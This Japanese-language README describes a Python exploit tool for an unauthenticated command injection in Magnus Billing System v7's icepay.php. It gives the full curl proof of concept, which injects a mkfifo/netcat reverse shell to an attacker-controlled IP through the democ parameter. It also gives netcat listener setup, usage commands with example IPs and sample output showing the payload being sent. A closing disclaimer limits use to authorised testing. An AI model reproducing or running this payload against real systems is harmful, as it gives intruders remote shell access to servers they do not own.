
このPythonスクリプトは、Magnus Billing System v7のコマンドインジェクション脆弱性、具体的には /mbilling/lib/icepay/icepay.php にある icepay.php スクリプトの脆弱性を悪用する処理を自動化します。このエクスプロイトは democ パラメータを利用して対象システム上で任意のコマンドを実行し、最終的に攻撃者が管理するマシンへのリバースシェルを確立します。
この脆弱性により、巧妙に細工されたGETリクエストによる認証なしのコマンドインジェクションが可能になります。元の概念実証(PoC)では、次の curl コマンドが使用されていました:
curl -s 'http://<TARGET_IP>/mbilling/lib/icepay/icepay.php' --get --data-urlencode 'democ=;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <ATTACKER_IP> <PORT> >/tmp/f;'
このスクリプトはそのプロセスを自動化し、コマンドライン引数で設定できるようにしています。
requests ライブラリを使用してペイロードを含むHTTPリクエストを送信しますrequests Pythonモジュールをインストールします:
pip install requests
netcat (nc) がインストールされている必要がありますnetcat リスナーをセットアップしますicepay.php スクリプトにアクセス可能である必要がありますexploit.py として保存しますnetcat リスナーを起動します:
nc -lvnp <PORT>
<PORT> を選択したポート(例:443)に置き換えてくださいpython exploit.py -t <TARGET_IP> -a <ATTACKER_IP> -p <PORT>
パラメータ:
-t, --target: 対象のMagnus Billing SystemのIPアドレス-a, --attacker: リバースシェルを受け取るあなたのIPアドレス-p, --port: リバースシェル用のあなたのマシンのポートpython exploit.py -t 10.10.160.86 -a 10.8.64.79 -p 443
期待される出力:
=== Magnus Billing System v7 Exploit ===
Command Injection via icepay.php - Reverse Shell
=======================================
[+] Targeting: http://10.10.160.86/mbilling/lib/icepay/icepay.php
[+] Attacker: 10.8.64.79:443
[+] Sending payload: ;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.8.64.79 443 >/tmp/f;
[+] Request sent successfully!
[*] Check your netcat listener (e.g., 'nc -lvnp 443') for a shell.
netcat リスナーに切り替えてリバースシェルを操作しますnetcat を使用したFIFOベースのリバースシェル(mkfifo)を使用しますexploit() 関数内の print(response.text) のコメントを解除しますnetcat がインストールされていることこのツールは、教育およびセキュリティテスト目的のみで提供されます。明示的な許可を得たシステムでのみ使用してください。所有していない、またはテストの同意がないシステムに対する無許可の使用は、違法かつ非倫理的です。作者は、このスクリプトによって引き起こされた誤用や損害について一切責任を負いません。
このプロジェクトはMITライセンスのもとで公開されています。免責事項を維持した上で、必要に応じて修正および配布してください。
貢献、バグ報告、機能リクエストを歓迎します。プルリクエストを送信するか、イシューを開いてください。